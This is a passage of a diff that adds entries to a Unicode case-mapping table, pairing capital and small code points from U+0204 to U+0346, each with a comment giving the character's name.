+ [0x204, 0x205], /* LATIN CAPITAL LETTER E WITH DOUBLE GRAVE */
+ [0x204, 0x205], /* LATIN SMALL LETTER E WITH DOUBLE GRAVE */
+ [0x206, 0x207], /* LATIN CAPITAL LETTER E WITH INVERTED BREVE */
+ [0x206, 0x207], /* LATIN SMALL LETTER E WITH INVERTED BREVE */
+ [0x208, 0x209], /* LATIN CAPITAL LETTER I WITH DOUBLE GRAVE */
+ [0x208, 0x209], /* LATIN SMALL LETTER I WITH DOUBLE GRAVE */
+ [0x20a, 0x20b], /* LATIN CAPITAL LETTER I WITH INVERTED BREVE */
+ [0x20a, 0x20b], /* LATIN SMALL LETTER I WITH INVERTED BREVE */
+ [0x20c, 0x20d], /* LATIN CAPITAL LETTER O WITH DOUBLE GRAVE */
+ [0x20c, 0x20d], /* LATIN SMALL LETTER O WITH DOUBLE GRAVE */
+ [0x20e, 0x20f], /* LATIN CAPITAL LETTER O WITH INVERTED BREVE */
+ [0x20e, 0x20f], /* LATIN SMALL LETTER O WITH INVERTED BREVE */
+ [0x210, 0x211], /* LATIN CAPITAL LETTER R WITH DOUBLE GRAVE */
+ [0x210, 0x211], /* LATIN SMALL LETTER R WITH DOUBLE GRAVE */
+ [0x212, 0x213], /* LATIN CAPITAL LETTER R WITH INVERTED BREVE */
+ [0x212, 0x213], /* LATIN SMALL LETTER R WITH INVERTED BREVE */
+ [0x214, 0x215], /* LATIN CAPITAL LETTER U WITH DOUBLE GRAVE */
+ [0x214, 0x215], /* LATIN SMALL LETTER U WITH DOUBLE GRAVE */
+ [0x216, 0x217], /* LATIN CAPITAL LETTER U WITH INVERTED BREVE */
+ [0x216, 0x217], /* LATIN SMALL LETTER U WITH INVERTED BREVE */
+ [0x218, 0x219], /* LATIN CAPITAL LETTER S WITH COMMA BELOW */
+ [0x218, 0x219], /* LATIN SMALL LETTER S WITH COMMA BELOW */
+ [0x21a, 0x21b], /* LATIN CAPITAL LETTER T WITH COMMA BELOW */
+ [0x21a, 0x21b], /* LATIN SMALL LETTER T WITH COMMA BELOW */
+ [0x21c, 0x21d], /* LATIN CAPITAL LETTER YOGH */
+ [0x21c, 0x21d], /* LATIN SMALL LETTER YOGH */
+ [0x21e, 0x21f], /* LATIN CAPITAL LETTER H WITH CARON */
+ [0x21e, 0x21f], /* LATIN SMALL LETTER H WITH CARON */
+ [0x220, 0x19e], /* LATIN CAPITAL LETTER N WITH LONG RIGHT LEG */
+ [0x221, 0x221], /* LATIN SMALL LETTER D WITH CURL */
+ [0x222, 0x223], /* LATIN CAPITAL LETTER OU */
+ [0x222, 0x223], /* LATIN SMALL LETTER OU */
+ [0x224, 0x225], /* LATIN CAPITAL LETTER Z WITH HOOK */
+ [0x224, 0x225], /* LATIN SMALL LETTER Z WITH HOOK */
+ [0x226, 0x227], /* LATIN CAPITAL LETTER A WITH DOT ABOVE */
+ [0x226, 0x227], /* LATIN SMALL LETTER A WITH DOT ABOVE */
+ [0x228, 0x229], /* LATIN CAPITAL LETTER E WITH CEDILLA */
+ [0x228, 0x229], /* LATIN SMALL LETTER E WITH CEDILLA */
+ [0x22a, 0x22b], /* LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON */
+ [0x22a, 0x22b], /* LATIN SMALL LETTER O WITH DIAERESIS AND MACRON */
+ [0x22c, 0x22d], /* LATIN CAPITAL LETTER O WITH TILDE AND MACRON */
+ [0x22c, 0x22d], /* LATIN SMALL LETTER O WITH TILDE AND MACRON */
+ [0x22e, 0x22f], /* LATIN CAPITAL LETTER O WITH DOT ABOVE */
+ [0x22e, 0x22f], /* LATIN SMALL LETTER O WITH DOT ABOVE */
+ [0x230, 0x231], /* LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON */
+ [0x230, 0x231], /* LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON */
+ [0x232, 0x233], /* LATIN CAPITAL LETTER Y WITH MACRON */
+ [0x232, 0x233], /* LATIN SMALL LETTER Y WITH MACRON */
+ [0x234, 0x234], /* LATIN SMALL LETTER L WITH CURL */
+ [0x235, 0x235], /* LATIN SMALL LETTER N WITH CURL */
+ [0x236, 0x236], /* LATIN SMALL LETTER T WITH CURL */
+ [0x237, 0x237], /* LATIN SMALL LETTER DOTLESS J */
+ [0x238, 0x238], /* LATIN SMALL LETTER DB DIGRAPH */
+ [0x239, 0x239], /* LATIN SMALL LETTER QP DIGRAPH */
+ [0x23a, 0x2c65], /* LATIN CAPITAL LETTER A WITH STROKE */
+ [0x23b, 0x23c], /* LATIN CAPITAL LETTER C WITH STROKE */
+ [0x23b, 0x23c], /* LATIN SMALL LETTER C WITH STROKE */
+ [0x23d, 0x19a], /* LATIN CAPITAL LETTER L WITH BAR */
+ [0x23e, 0x2c66], /* LATIN CAPITAL LETTER T WITH DIAGONAL STROKE */
+ [0x2c7e, 0x23f], /* LATIN SMALL LETTER S WITH SWASH TAIL */
+ [0x2c7f, 0x240], /* LATIN SMALL LETTER Z WITH SWASH TAIL */
+ [0x241, 0x242], /* LATIN CAPITAL LETTER GLOTTAL STOP */
+ [0x241, 0x242], /* LATIN SMALL LETTER GLOTTAL STOP */
+ [0x243, 0x180], /* LATIN CAPITAL LETTER B WITH STROKE */
+ [0x244, 0x289], /* LATIN CAPITAL LETTER U BAR */
+ [0x245, 0x28c], /* LATIN CAPITAL LETTER TURNED V */
+ [0x246, 0x247], /* LATIN CAPITAL LETTER E WITH STROKE */
+ [0x246, 0x247], /* LATIN SMALL LETTER E WITH STROKE */
+ [0x248, 0x249], /* LATIN CAPITAL LETTER J WITH STROKE */
+ [0x248, 0x249], /* LATIN SMALL LETTER J WITH STROKE */
+ [0x24a, 0x24b], /* LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL */
+ [0x24a, 0x24b], /* LATIN SMALL LETTER Q WITH HOOK TAIL */
+ [0x24c, 0x24d], /* LATIN CAPITAL LETTER R WITH STROKE */
+ [0x24c, 0x24d], /* LATIN SMALL LETTER R WITH STROKE */
+ [0x24e, 0x24f], /* LATIN CAPITAL LETTER Y WITH STROKE */
+ [0x24e, 0x24f], /* LATIN SMALL LETTER Y WITH STROKE */
+ [0x2c6f, 0x250], /* LATIN SMALL LETTER TURNED A */
+ [0x2c6d, 0x251], /* LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A) */
+ [0x2c70, 0x252], /* LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A) */
+ [0x181, 0x253], /* LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK) */
+ [0x186, 0x254], /* LATIN SMALL LETTER OPEN O */
+ [0x255, 0x255], /* LATIN SMALL LETTER C WITH CURL (LATIN SMALL LETTER C CURL) */
+ [0x189, 0x256], /* LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK) */
+ [0x18a, 0x257], /* LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK) */
+ [0x258, 0x258], /* LATIN SMALL LETTER REVERSED E */
+ [0x18f, 0x259], /* LATIN SMALL LETTER SCHWA */
+ [0x25a, 0x25a], /* LATIN SMALL LETTER SCHWA WITH HOOK (LATIN SMALL LETTER SCHWA HOOK) */
+ [0x190, 0x25b], /* LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON) */
+ [0xa7ab, 0x25c], /* LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON) */
+ [0x25d, 0x25d], /* LATIN SMALL LETTER REVERSED OPEN E WITH HOOK (LATIN SMALL LETTER REVERSED EPSILON HOOK) */
+ [0x25e, 0x25e], /* LATIN SMALL LETTER CLOSED REVERSED OPEN E (LATIN SMALL LETTER CLOSED REVERSED EPSILON) */
+ [0x25f, 0x25f], /* LATIN SMALL LETTER DOTLESS J WITH STROKE (LATIN SMALL LETTER DOTLESS J BAR) */
+ [0x193, 0x260], /* LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK) */
+ [0xa7ac, 0x261], /* LATIN SMALL LETTER SCRIPT G */
+ [0x262, 0x262], /* LATIN LETTER SMALL CAPITAL G */
+ [0x194, 0x263], /* LATIN SMALL LETTER GAMMA */
+ [0x264, 0x264], /* LATIN SMALL LETTER RAMS HORN (LATIN SMALL LETTER BABY GAMMA) */
+ [0xa78d, 0x265], /* LATIN SMALL LETTER TURNED H */
+ [0xa7aa, 0x266], /* LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK) */
+ [0x267, 0x267], /* LATIN SMALL LETTER HENG WITH HOOK (LATIN SMALL LETTER HENG HOOK) */
+ [0x197, 0x268], /* LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I) */
+ [0x196, 0x269], /* LATIN SMALL LETTER IOTA */
+ [0xa7ae, 0x26a], /* LATIN LETTER SMALL CAPITAL I */
+ [0x2c62, 0x26b], /* LATIN SMALL LETTER L WITH MIDDLE TILDE */
+ [0xa7ad, 0x26c], /* LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT) */
+ [0x26d, 0x26d], /* LATIN SMALL LETTER L WITH RETROFLEX HOOK (LATIN SMALL LETTER L RETROFLEX HOOK) */
+ [0x26e, 0x26e], /* LATIN SMALL LETTER LEZH (LATIN SMALL LETTER L YOGH) */
+ [0x19c, 0x26f], /* LATIN SMALL LETTER TURNED M */
+ [0x270, 0x270], /* LATIN SMALL LETTER TURNED M WITH LONG LEG */
+ [0x2c6e, 0x271], /* LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK) */
+ [0x19d, 0x272], /* LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK) */
+ [0x273, 0x273], /* LATIN SMALL LETTER N WITH RETROFLEX HOOK (LATIN SMALL LETTER N RETROFLEX HOOK) */
+ [0x274, 0x274], /* LATIN LETTER SMALL CAPITAL N */
+ [0x19f, 0x275], /* LATIN SMALL LETTER BARRED O */
+ [0x276, 0x276], /* LATIN LETTER SMALL CAPITAL OE (LATIN LETTER SMALL CAPITAL O E) */
+ [0x277, 0x277], /* LATIN SMALL LETTER CLOSED OMEGA */
+ [0x278, 0x278], /* LATIN SMALL LETTER PHI */
+ [0x279, 0x279], /* LATIN SMALL LETTER TURNED R */
+ [0x27a, 0x27a], /* LATIN SMALL LETTER TURNED R WITH LONG LEG */
+ [0x27b, 0x27b], /* LATIN SMALL LETTER TURNED R WITH HOOK (LATIN SMALL LETTER TURNED R HOOK) */
+ [0x27c, 0x27c], /* LATIN SMALL LETTER R WITH LONG LEG */
+ [0x2c64, 0x27d], /* LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK) */
+ [0x27e, 0x27e], /* LATIN SMALL LETTER R WITH FISHHOOK (LATIN SMALL LETTER FISHHOOK R) */
+ [0x27f, 0x27f], /* LATIN SMALL LETTER REVERSED R WITH FISHHOOK (LATIN SMALL LETTER REVERSED FISHHOOK R) */
+ [0x1a6, 0x280], /* LATIN LETTER SMALL CAPITAL R */
+ [0x281, 0x281], /* LATIN LETTER SMALL CAPITAL INVERTED R */
+ [0x282, 0x282], /* LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK) */
+ [0x1a9, 0x283], /* LATIN SMALL LETTER ESH */
+ [0x284, 0x284], /* LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK (LATIN SMALL LETTER DOTLESS J BAR HOOK) */
+ [0x285, 0x285], /* LATIN SMALL LETTER SQUAT REVERSED ESH */
+ [0x286, 0x286], /* LATIN SMALL LETTER ESH WITH CURL (LATIN SMALL LETTER ESH CURL) */
+ [0xa7b1, 0x287], /* LATIN SMALL LETTER TURNED T */
+ [0x1ae, 0x288], /* LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK) */
+ [0x244, 0x289], /* LATIN SMALL LETTER U BAR */
+ [0x1b1, 0x28a], /* LATIN SMALL LETTER UPSILON */
+ [0x1b2, 0x28b], /* LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V) */
+ [0x245, 0x28c], /* LATIN SMALL LETTER TURNED V */
+ [0x28d, 0x28d], /* LATIN SMALL LETTER TURNED W */
+ [0x28e, 0x28e], /* LATIN SMALL LETTER TURNED Y */
+ [0x28f, 0x28f], /* LATIN LETTER SMALL CAPITAL Y */
+ [0x290, 0x290], /* LATIN SMALL LETTER Z WITH RETROFLEX HOOK (LATIN SMALL LETTER Z RETROFLEX HOOK) */
+ [0x291, 0x291], /* LATIN SMALL LETTER Z WITH CURL (LATIN SMALL LETTER Z CURL) */
+ [0x1b7, 0x292], /* LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH) */
+ [0x293, 0x293], /* LATIN SMALL LETTER EZH WITH CURL (LATIN SMALL LETTER YOGH CURL) */
+ [0x294, 0x294], /* LATIN LETTER GLOTTAL STOP */
+ [0x295, 0x295], /* LATIN LETTER PHARYNGEAL VOICED FRICATIVE (LATIN LETTER REVERSED GLOTTAL STOP) */
+ [0x296, 0x296], /* LATIN LETTER INVERTED GLOTTAL STOP */
+ [0x297, 0x297], /* LATIN LETTER STRETCHED C */
+ [0x298, 0x298], /* LATIN LETTER BILABIAL CLICK (LATIN LETTER BULLSEYE) */
+ [0x299, 0x299], /* LATIN LETTER SMALL CAPITAL B */
+ [0x29a, 0x29a], /* LATIN SMALL LETTER CLOSED OPEN E (LATIN SMALL LETTER CLOSED EPSILON) */
+ [0x29b, 0x29b], /* LATIN LETTER SMALL CAPITAL G WITH HOOK (LATIN LETTER SMALL CAPITAL G HOOK) */
+ [0x29c, 0x29c], /* LATIN LETTER SMALL CAPITAL H */
+ [0xa7b2, 0x29d], /* LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J) */
+ [0xa7b0, 0x29e], /* LATIN SMALL LETTER TURNED K */
+ [0x29f, 0x29f], /* LATIN LETTER SMALL CAPITAL L */
+ [0x2a0, 0x2a0], /* LATIN SMALL LETTER Q WITH HOOK (LATIN SMALL LETTER Q HOOK) */
+ [0x2a1, 0x2a1], /* LATIN LETTER GLOTTAL STOP WITH STROKE (LATIN LETTER GLOTTAL STOP BAR) */
+ [0x2a2, 0x2a2], /* LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE (LATIN LETTER REVERSED GLOTTAL STOP BAR) */
+ [0x2a3, 0x2a3], /* LATIN SMALL LETTER DZ DIGRAPH (LATIN SMALL LETTER D Z) */
+ [0x2a4, 0x2a4], /* LATIN SMALL LETTER DEZH DIGRAPH (LATIN SMALL LETTER D YOGH) */
+ [0x2a5, 0x2a5], /* LATIN SMALL LETTER DZ DIGRAPH WITH CURL (LATIN SMALL LETTER D Z CURL) */
+ [0x2a6, 0x2a6], /* LATIN SMALL LETTER TS DIGRAPH (LATIN SMALL LETTER T S) */
+ [0x2a7, 0x2a7], /* LATIN SMALL LETTER TESH DIGRAPH (LATIN SMALL LETTER T ESH) */
+ [0x2a8, 0x2a8], /* LATIN SMALL LETTER TC DIGRAPH WITH CURL (LATIN SMALL LETTER T C CURL) */
+ [0x2a9, 0x2a9], /* LATIN SMALL LETTER FENG DIGRAPH */
+ [0x2aa, 0x2aa], /* LATIN SMALL LETTER LS DIGRAPH */
+ [0x2ab, 0x2ab], /* LATIN SMALL LETTER LZ DIGRAPH */
+ [0x2ac, 0x2ac], /* LATIN LETTER BILABIAL PERCUSSIVE */
+ [0x2ad, 0x2ad], /* LATIN LETTER BIDENTAL PERCUSSIVE */
+ [0x2ae, 0x2ae], /* LATIN SMALL LETTER TURNED H WITH FISHHOOK */
+ [0x2af, 0x2af], /* LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL */
+ [0x2b0, 0x2b0], /* MODIFIER LETTER SMALL H */
+ [0x2b1, 0x2b1], /* MODIFIER LETTER SMALL H WITH HOOK (MODIFIER LETTER SMALL H HOOK) */
+ [0x2b2, 0x2b2], /* MODIFIER LETTER SMALL J */
+ [0x2b3, 0x2b3], /* MODIFIER LETTER SMALL R */
+ [0x2b4, 0x2b4], /* MODIFIER LETTER SMALL TURNED R */
+ [0x2b5, 0x2b5], /* MODIFIER LETTER SMALL TURNED R WITH HOOK (MODIFIER LETTER SMALL TURNED R HOOK) */
+ [0x2b6, 0x2b6], /* MODIFIER LETTER SMALL CAPITAL INVERTED R */
+ [0x2b7, 0x2b7], /* MODIFIER LETTER SMALL W */
+ [0x2b8, 0x2b8], /* MODIFIER LETTER SMALL Y */
+ [0x2b9, 0x2b9], /* MODIFIER LETTER PRIME */
+ [0x2ba, 0x2ba], /* MODIFIER LETTER DOUBLE PRIME */
+ [0x2bb, 0x2bb], /* MODIFIER LETTER TURNED COMMA */
+ [0x2bc, 0x2bc], /* MODIFIER LETTER APOSTROPHE */
+ [0x2bd, 0x2bd], /* MODIFIER LETTER REVERSED COMMA */
+ [0x2be, 0x2be], /* MODIFIER LETTER RIGHT HALF RING */
+ [0x2bf, 0x2bf], /* MODIFIER LETTER LEFT HALF RING */
+ [0x2c0, 0x2c0], /* MODIFIER LETTER GLOTTAL STOP */
+ [0x2c1, 0x2c1], /* MODIFIER LETTER REVERSED GLOTTAL STOP */
+ [0x2c2, 0x2c2], /* MODIFIER LETTER LEFT ARROWHEAD */
+ [0x2c3, 0x2c3], /* MODIFIER LETTER RIGHT ARROWHEAD */
+ [0x2c4, 0x2c4], /* MODIFIER LETTER UP ARROWHEAD */
+ [0x2c5, 0x2c5], /* MODIFIER LETTER DOWN ARROWHEAD */
+ [0x2c6, 0x2c6], /* MODIFIER LETTER CIRCUMFLEX ACCENT (MODIFIER LETTER CIRCUMFLEX) */
+ [0x2c7, 0x2c7], /* CARON (MODIFIER LETTER HACEK) */
+ [0x2c8, 0x2c8], /* MODIFIER LETTER VERTICAL LINE */
+ [0x2c9, 0x2c9], /* MODIFIER LETTER MACRON */
+ [0x2ca, 0x2ca], /* MODIFIER LETTER ACUTE ACCENT (MODIFIER LETTER ACUTE) */
+ [0x2cb, 0x2cb], /* MODIFIER LETTER GRAVE ACCENT (MODIFIER LETTER GRAVE) */
+ [0x2cc, 0x2cc], /* MODIFIER LETTER LOW VERTICAL LINE */
+ [0x2cd, 0x2cd], /* MODIFIER LETTER LOW MACRON */
+ [0x2ce, 0x2ce], /* MODIFIER LETTER LOW GRAVE ACCENT (MODIFIER LETTER LOW GRAVE) */
+ [0x2cf, 0x2cf], /* MODIFIER LETTER LOW ACUTE ACCENT (MODIFIER LETTER LOW ACUTE) */
+ [0x2d0, 0x2d0], /* MODIFIER LETTER TRIANGULAR COLON */
+ [0x2d1, 0x2d1], /* MODIFIER LETTER HALF TRIANGULAR COLON */
+ [0x2d2, 0x2d2], /* MODIFIER LETTER CENTRED RIGHT HALF RING (MODIFIER LETTER CENTERED RIGHT HALF RING) */
+ [0x2d3, 0x2d3], /* MODIFIER LETTER CENTRED LEFT HALF RING (MODIFIER LETTER CENTERED LEFT HALF RING) */
+ [0x2d4, 0x2d4], /* MODIFIER LETTER UP TACK */
+ [0x2d5, 0x2d5], /* MODIFIER LETTER DOWN TACK */
+ [0x2d6, 0x2d6], /* MODIFIER LETTER PLUS SIGN */
+ [0x2d7, 0x2d7], /* MODIFIER LETTER MINUS SIGN */
+ [0x2d8, 0x2d8], /* BREVE (SPACING BREVE) */
+ [0x2d9, 0x2d9], /* DOT ABOVE (SPACING DOT ABOVE) */
+ [0x2da, 0x2da], /* RING ABOVE (SPACING RING ABOVE) */
+ [0x2db, 0x2db], /* OGONEK (SPACING OGONEK) */
+ [0x2dc, 0x2dc], /* SMALL TILDE (SPACING TILDE) */
+ [0x2dd, 0x2dd], /* DOUBLE ACUTE ACCENT (SPACING DOUBLE ACUTE) */
+ [0x2de, 0x2de], /* MODIFIER LETTER RHOTIC HOOK */
+ [0x2df, 0x2df], /* MODIFIER LETTER CROSS ACCENT */
+ [0x2e0, 0x2e0], /* MODIFIER LETTER SMALL GAMMA */
+ [0x2e1, 0x2e1], /* MODIFIER LETTER SMALL L */
+ [0x2e2, 0x2e2], /* MODIFIER LETTER SMALL S */
+ [0x2e3, 0x2e3], /* MODIFIER LETTER SMALL X */
+ [0x2e4, 0x2e4], /* MODIFIER LETTER SMALL REVERSED GLOTTAL STOP */
+ [0x2e5, 0x2e5], /* MODIFIER LETTER EXTRA-HIGH TONE BAR */
+ [0x2e6, 0x2e6], /* MODIFIER LETTER HIGH TONE BAR */
+ [0x2e7, 0x2e7], /* MODIFIER LETTER MID TONE BAR */
+ [0x2e8, 0x2e8], /* MODIFIER LETTER LOW TONE BAR */
+ [0x2e9, 0x2e9], /* MODIFIER LETTER EXTRA-LOW TONE BAR */
+ [0x2ea, 0x2ea], /* MODIFIER LETTER YIN DEPARTING TONE MARK */
+ [0x2eb, 0x2eb], /* MODIFIER LETTER YANG DEPARTING TONE MARK */
+ [0x2ec, 0x2ec], /* MODIFIER LETTER VOICING */
+ [0x2ed, 0x2ed], /* MODIFIER LETTER UNASPIRATED */
+ [0x2ee, 0x2ee], /* MODIFIER LETTER DOUBLE APOSTROPHE */
+ [0x2ef, 0x2ef], /* MODIFIER LETTER LOW DOWN ARROWHEAD */
+ [0x2f0, 0x2f0], /* MODIFIER LETTER LOW UP ARROWHEAD */
+ [0x2f1, 0x2f1], /* MODIFIER LETTER LOW LEFT ARROWHEAD */
+ [0x2f2, 0x2f2], /* MODIFIER LETTER LOW RIGHT ARROWHEAD */
+ [0x2f3, 0x2f3], /* MODIFIER LETTER LOW RING */
+ [0x2f4, 0x2f4], /* MODIFIER LETTER MIDDLE GRAVE ACCENT */
+ [0x2f5, 0x2f5], /* MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT */
+ [0x2f6, 0x2f6], /* MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT */
+ [0x2f7, 0x2f7], /* MODIFIER LETTER LOW TILDE */
+ [0x2f8, 0x2f8], /* MODIFIER LETTER RAISED COLON */
+ [0x2f9, 0x2f9], /* MODIFIER LETTER BEGIN HIGH TONE */
+ [0x2fa, 0x2fa], /* MODIFIER LETTER END HIGH TONE */
+ [0x2fb, 0x2fb], /* MODIFIER LETTER BEGIN LOW TONE */
+ [0x2fc, 0x2fc], /* MODIFIER LETTER END LOW TONE */
+ [0x2fd, 0x2fd], /* MODIFIER LETTER SHELF */
+ [0x2fe, 0x2fe], /* MODIFIER LETTER OPEN SHELF */
+ [0x2ff, 0x2ff], /* MODIFIER LETTER LOW LEFT ARROW */
+ [0x300, 0x300], /* COMBINING GRAVE ACCENT (NON-SPACING GRAVE) */
+ [0x301, 0x301], /* COMBINING ACUTE ACCENT (NON-SPACING ACUTE) */
+ [0x302, 0x302], /* COMBINING CIRCUMFLEX ACCENT (NON-SPACING CIRCUMFLEX) */
+ [0x303, 0x303], /* COMBINING TILDE (NON-SPACING TILDE) */
+ [0x304, 0x304], /* COMBINING MACRON (NON-SPACING MACRON) */
+ [0x305, 0x305], /* COMBINING OVERLINE (NON-SPACING OVERSCORE) */
+ [0x306, 0x306], /* COMBINING BREVE (NON-SPACING BREVE) */
+ [0x307, 0x307], /* COMBINING DOT ABOVE (NON-SPACING DOT ABOVE) */
+ [0x308, 0x308], /* COMBINING DIAERESIS (NON-SPACING DIAERESIS) */
+ [0x309, 0x309], /* COMBINING HOOK ABOVE (NON-SPACING HOOK ABOVE) */
+ [0x30a, 0x30a], /* COMBINING RING ABOVE (NON-SPACING RING ABOVE) */
+ [0x30b, 0x30b], /* COMBINING DOUBLE ACUTE ACCENT (NON-SPACING DOUBLE ACUTE) */
+ [0x30c, 0x30c], /* COMBINING CARON (NON-SPACING HACEK) */
+ [0x30d, 0x30d], /* COMBINING VERTICAL LINE ABOVE (NON-SPACING VERTICAL LINE ABOVE) */
+ [0x30e, 0x30e], /* COMBINING DOUBLE VERTICAL LINE ABOVE (NON-SPACING DOUBLE VERTICAL LINE ABOVE) */
+ [0x30f, 0x30f], /* COMBINING DOUBLE GRAVE ACCENT (NON-SPACING DOUBLE GRAVE) */
+ [0x310, 0x310], /* COMBINING CANDRABINDU (NON-SPACING CANDRABINDU) */
+ [0x311, 0x311], /* COMBINING INVERTED BREVE (NON-SPACING INVERTED BREVE) */
+ [0x312, 0x312], /* COMBINING TURNED COMMA ABOVE (NON-SPACING TURNED COMMA ABOVE) */
+ [0x313, 0x313], /* COMBINING COMMA ABOVE (NON-SPACING COMMA ABOVE) */
+ [0x314, 0x314], /* COMBINING REVERSED COMMA ABOVE (NON-SPACING REVERSED COMMA ABOVE) */
+ [0x315, 0x315], /* COMBINING COMMA ABOVE RIGHT (NON-SPACING COMMA ABOVE RIGHT) */
+ [0x316, 0x316], /* COMBINING GRAVE ACCENT BELOW (NON-SPACING GRAVE BELOW) */
+ [0x317, 0x317], /* COMBINING ACUTE ACCENT BELOW (NON-SPACING ACUTE BELOW) */
+ [0x318, 0x318], /* COMBINING LEFT TACK BELOW (NON-SPACING LEFT TACK BELOW) */
+ [0x319, 0x319], /* COMBINING RIGHT TACK BELOW (NON-SPACING RIGHT TACK BELOW) */
+ [0x31a, 0x31a], /* COMBINING LEFT ANGLE ABOVE (NON-SPACING LEFT ANGLE ABOVE) */
+ [0x31b, 0x31b], /* COMBINING HORN (NON-SPACING HORN) */
+ [0x31c, 0x31c], /* COMBINING LEFT HALF RING BELOW (NON-SPACING LEFT HALF RING BELOW) */
+ [0x31d, 0x31d], /* COMBINING UP TACK BELOW (NON-SPACING UP TACK BELOW) */
+ [0x31e, 0x31e], /* COMBINING DOWN TACK BELOW (NON-SPACING DOWN TACK BELOW) */
+ [0x31f, 0x31f], /* COMBINING PLUS SIGN BELOW (NON-SPACING PLUS SIGN BELOW) */
+ [0x320, 0x320], /* COMBINING MINUS SIGN BELOW (NON-SPACING MINUS SIGN BELOW) */
+ [0x321, 0x321], /* COMBINING PALATALIZED HOOK BELOW (NON-SPACING PALATALIZED HOOK BELOW) */
+ [0x322, 0x322], /* COMBINING RETROFLEX HOOK BELOW (NON-SPACING RETROFLEX HOOK BELOW) */
+ [0x323, 0x323], /* COMBINING DOT BELOW (NON-SPACING DOT BELOW) */
+ [0x324, 0x324], /* COMBINING DIAERESIS BELOW (NON-SPACING DOUBLE DOT BELOW) */
+ [0x325, 0x325], /* COMBINING RING BELOW (NON-SPACING RING BELOW) */
+ [0x326, 0x326], /* COMBINING COMMA BELOW (NON-SPACING COMMA BELOW) */
+ [0x327, 0x327], /* COMBINING CEDILLA (NON-SPACING CEDILLA) */
+ [0x328, 0x328], /* COMBINING OGONEK (NON-SPACING OGONEK) */
+ [0x329, 0x329], /* COMBINING VERTICAL LINE BELOW (NON-SPACING VERTICAL LINE BELOW) */
+ [0x32a, 0x32a], /* COMBINING BRIDGE BELOW (NON-SPACING BRIDGE BELOW) */
+ [0x32b, 0x32b], /* COMBINING INVERTED DOUBLE ARCH BELOW (NON-SPACING INVERTED DOUBLE ARCH BELOW) */
+ [0x32c, 0x32c], /* COMBINING CARON BELOW (NON-SPACING HACEK BELOW) */
+ [0x32d, 0x32d], /* COMBINING CIRCUMFLEX ACCENT BELOW (NON-SPACING CIRCUMFLEX BELOW) */
+ [0x32e, 0x32e], /* COMBINING BREVE BELOW (NON-SPACING BREVE BELOW) */
+ [0x32f, 0x32f], /* COMBINING INVERTED BREVE BELOW (NON-SPACING INVERTED BREVE BELOW) */
+ [0x330, 0x330], /* COMBINING TILDE BELOW (NON-SPACING TILDE BELOW) */
+ [0x331, 0x331], /* COMBINING MACRON BELOW (NON-SPACING MACRON BELOW) */
+ [0x332, 0x332], /* COMBINING LOW LINE (NON-SPACING UNDERSCORE) */
+ [0x333, 0x333], /* COMBINING DOUBLE LOW LINE (NON-SPACING DOUBLE UNDERSCORE) */
+ [0x334, 0x334], /* COMBINING TILDE OVERLAY (NON-SPACING TILDE OVERLAY) */
+ [0x335, 0x335], /* COMBINING SHORT STROKE OVERLAY (NON-SPACING SHORT BAR OVERLAY) */
+ [0x336, 0x336], /* COMBINING LONG STROKE OVERLAY (NON-SPACING LONG BAR OVERLAY) */
+ [0x337, 0x337], /* COMBINING SHORT SOLIDUS OVERLAY (NON-SPACING SHORT SLASH OVERLAY) */
+ [0x338, 0x338], /* COMBINING LONG SOLIDUS OVERLAY (NON-SPACING LONG SLASH OVERLAY) */
+ [0x339, 0x339], /* COMBINING RIGHT HALF RING BELOW (NON-SPACING RIGHT HALF RING BELOW) */
+ [0x33a, 0x33a], /* COMBINING INVERTED BRIDGE BELOW (NON-SPACING INVERTED BRIDGE BELOW) */
+ [0x33b, 0x33b], /* COMBINING SQUARE BELOW (NON-SPACING SQUARE BELOW) */
+ [0x33c, 0x33c], /* COMBINING SEAGULL BELOW (NON-SPACING SEAGULL BELOW) */
+ [0x33d, 0x33d], /* COMBINING X ABOVE (NON-SPACING X ABOVE) */
+ [0x33e, 0x33e], /* COMBINING VERTICAL TILDE (NON-SPACING VERTICAL TILDE) */
+ [0x33f, 0x33f], /* COMBINING DOUBLE OVERLINE (NON-SPACING DOUBLE OVERSCORE) */
+ [0x340, 0x340], /* COMBINING GRAVE TONE MARK (NON-SPACING GRAVE TONE MARK) */
+ [0x341, 0x341], /* COMBINING ACUTE TONE MARK (NON-SPACING ACUTE TONE MARK) */
+ [0x342, 0x342], /* COMBINING GREEK PERISPOMENI */
+ [0x343, 0x343], /* COMBINING GREEK KORONIS */
+ [0x344, 0x344], /* COMBINING GREEK DIALYTIKA TONOS (GREEK NON-SPACING DIAERESIS TONOS) */
+ [0x399, 0x345], /* COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW) */
+ [0x346, 0x346], /* COMBINING BRIDGE ABOVE */
